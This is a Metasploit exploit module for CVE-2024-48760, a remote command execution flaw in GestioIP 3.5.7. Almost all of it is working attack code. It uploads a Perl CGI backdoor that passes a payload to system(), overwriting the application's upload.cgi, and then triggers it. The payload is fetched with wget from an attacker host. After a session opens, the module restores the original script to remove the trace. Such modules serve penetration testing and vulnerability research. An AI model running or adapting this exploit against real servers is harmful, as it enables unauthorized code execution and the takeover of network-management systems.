📄 GestioIP 3.5.7 Remote Command Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'GestioIP 3.5.7 Remote Command Execution',
            'Description' => %q{
              This module exploits a command execution via file upload.
              If GestioIP is configured to use no authentication for admin account,
              no password is required to exploit the vulnerability. Otherwise, an authenticated
              user with admin right on the web site is required to exploit.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'maxibelino', # Original finder of CVE-2024-48760
              'odeez24' # Metasploit module
            ],
            'References' => [
              [ 'CVE', '2024-48760' ],
              [ 'URL', 'https://github.com/maxibelino/CVEs/tree/main/CVE-2024-48760']
            ],
            'Platform' => [ 'linux' ],
            'Targets' => [
              [
                'Linux/unix Command',
                {
                  'Arch' => [ ARCH_CMD ],
                  'Platform' => ['linux'],
                  'Type' => :nix_fetch,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_DELETE' => true
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-01-14',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('USERNAME', [true, 'The username to auth as with admin right', 'gipadmin']),
            OptString.new('PASSWORD', [true, 'The password to auth with', '']),
          ]
        )
      end
    
      def backdoor_content(payload = nil)
        <<~PERL
          #!/usr/bin/perl -w
    
          use strict;
    
          print "Cache-Control: no-cache\n";
          print "Content-type: text/html\n\n";
    
          system(q(#{payload}));
        PERL
      end
    
      def original_content
        <<~'PERL'
          #!/usr/bin/perl
    
          use Cwd;
          use CGI;
    
          my $debug = 1;
          my $q = new CGI;
    
          my ($status, $message, $exit);
          my $output_type_header = "text/xml";
          $exit = 0;
    
          my $filename = $q->param("file_name") || "";
    
          print STDERR "FOUND FILENAME: $filename\n" if $debug;
    
          if ( $filename !~ /^[A-Za-z0-9-_.]+$/ ){
            $message = "ERROR: only the following characters are allowed for file_name: A-Z,a-z,0-9,-,_,.";
            $status ="400 Bad Request";
            $exit = 1;
            printResponse(
              message   => "$message",
              status => "$status",
              exit => "$exit",
            );
          }
    
          $POST_MAX=1024 * 10000;  # 10MB max
          my $content_length = defined $ENV{'CONTENT_LENGTH'} ? $ENV{'CONTENT_LENGTH'} : 0;
          if (($POST_MAX > 0) && ($content_length > $POST_MAX)) {
            $message = "ERROR: Upload is limited to a file size of max. 10MB";
            print STDERR "$message\n" if $debug;
            $status ="500 Internal Server Error";
            $exit = 1;
            printResponse(
              message   => "$message",
              status => "$status",
              exit => "$exit",
            );
          }
    
          my $lightweight_fh  = $q->upload('leases_file');
    
    
    
          if (defined $lightweight_fh) {
    
            print STDERR "HANDLE DEFINED\n" if $debug;
    
            # Upgrade the handle to one compatible with IO::Handle:
            my $io_handle = $lightweight_fh->handle;
    
            my $file = '/usr/share/gestioip/var/data/' . $filename;
            open (OUTFILE,'>', "$filename") or $message = "ERROR: can not open file to write: $!";
    
            if ( $message ) {
              print STDERR "$message\n" if $debug;
              $status ="500 Internal Server Error";
              $exit = 1;
              printResponse(
                message   => "$message",
                status => "$status",
                exit => "$exit",
              );
            }
    
            while ($bytesread = $io_handle->read($buffer,1024)) {
                    print OUTFILE $buffer;
            }
    
            close OUTFILE;
    
          } else {
            print STDERR "NO HANDLE DEFINED\n" if $debug;
            $message = "ERROR: No leases file received";
            $status ="400 Bad Request";
            $exit = 1;
            printResponse(
                    message   => "$message",
                    status => "$status",
                    exit => "$exit",
            );
          }
    
    
          $status ="200 OK";
          printResponse(
            message   => "OK",
            status => "$status",
            exit => "$exit",
          );
    
    
    
          ###################
          #### Subroutines
          ###################
    
          sub printResponse {
            my %args = @_;
    
            my $status = $args{status} || "";
            my $message = $args{message} || "";
            my $exit = $args{exit} || 0;
    
            my $output = "";
            $output .= "<?xml version='1.0' encoding='UTF-8'?>\n";
            $output .= "<Result>\n";
            $output .= "    <Message>$message</Message>\n";
            $output .= "</Result>\n";
    
            printHtmlHeader(
              type   => "$output_type_header",
              status => "200 OK",
            );
    
            print $output;
    
            exit $exit;
          }
    
          sub printHtmlHeader {
            my %args = @_;
    
            my $type = $args{type} || "";
            $type = "-type => \"$type\"" if $type;
            my $status = $args{status} || "";
            $status = "-status => \"$status\"" if $status;
    
            my $header_params = $type . "," . $allow . "," . $location . "," . $status;
            $header_params =~ s/^,//;
            $header_params =~ s/,$//;
    
            print $q->header( eval($header_params) );
          }
    
          #curl \
          #  -F "userid=1" \
          #  -F "filecomment=This is an image file" \
          #  -F "image=@/home/user1/Desktop/test.jpg" \
          #  localhost/uploader.php
        PERL
      end
    
      def check
        print_status('Checking if the target is reachable...')
        if upload_file('README_server.txt', '')
          return Exploit::CheckCode::Vulnerable('File upload successful, the target is vulnerable GestioIP')
        end
    
        Exploit::CheckCode::Safe('Target is not vulnerable')
      end
    
      # Upload the file on the target server
      #
      # @param filename [String] the filename to upload
      # @param content [String] the content
      # @return [Boolean] true if the file was successfully uploaded, false otherwise.
      def upload_file(filename, content)
        data = Rex::MIME::Message.new
        data.add_part(
          filename,
          nil,
          nil,
          'form-data; name="file_name"'
        )
        data.add_part(
          content,
          'application/x-httpd-cgi',
          nil,
          "form-data; name=\"leases_file\"; filename=\"#{filename}\""
        )
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
        if res&.code == 200
          if res.body.include?('ERROR')
            return false
          end
    
          return true
        elsif res.code == 401
          print_error('Authentification refused, Please give valid admin login informations')
          return false
        else
          return false
        end
      end
    
      # Upload the payload for linux system to the target.
      def execute_linux
        print_status('Executing payload on the target server ...')
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
        print_good('Payload successfully executed')
      end
    
      # Restore the original content of the target_link to remove the backdoor
      #   script.
      def on_new_session(session)
        super
        begin
          print_status('Cleaning up backdoor file on target server ...')
          if session.type == 'meterpreter'
            session.fs.file.rm('README_server.txt')
            session.fs.file.new('upload.cgi', 'wb').write(original_content)
            fd.close
          else
            session.shell_command_token('rm README_server.txt')
            session.shell_command_token("echo #{Base64.strict_encode64(original_content)} | base64 -d > upload.cgi")
          end
          print_good('Backdoor file successfully removed')
        end
      end
    
      # Main method to run the exploit.
      def exploit
        print_status('Upload the backdoor file ...')
        content = backdoor_content(payload.encoded)
        unless (upload_file('upload.cgi', content))
          fail_with(Failure::NotVulnerable, 'Unable to upload the backdoor file')
        end
        print_good('Backdoor file successfully uploaded')
        execute_linux
      end
    end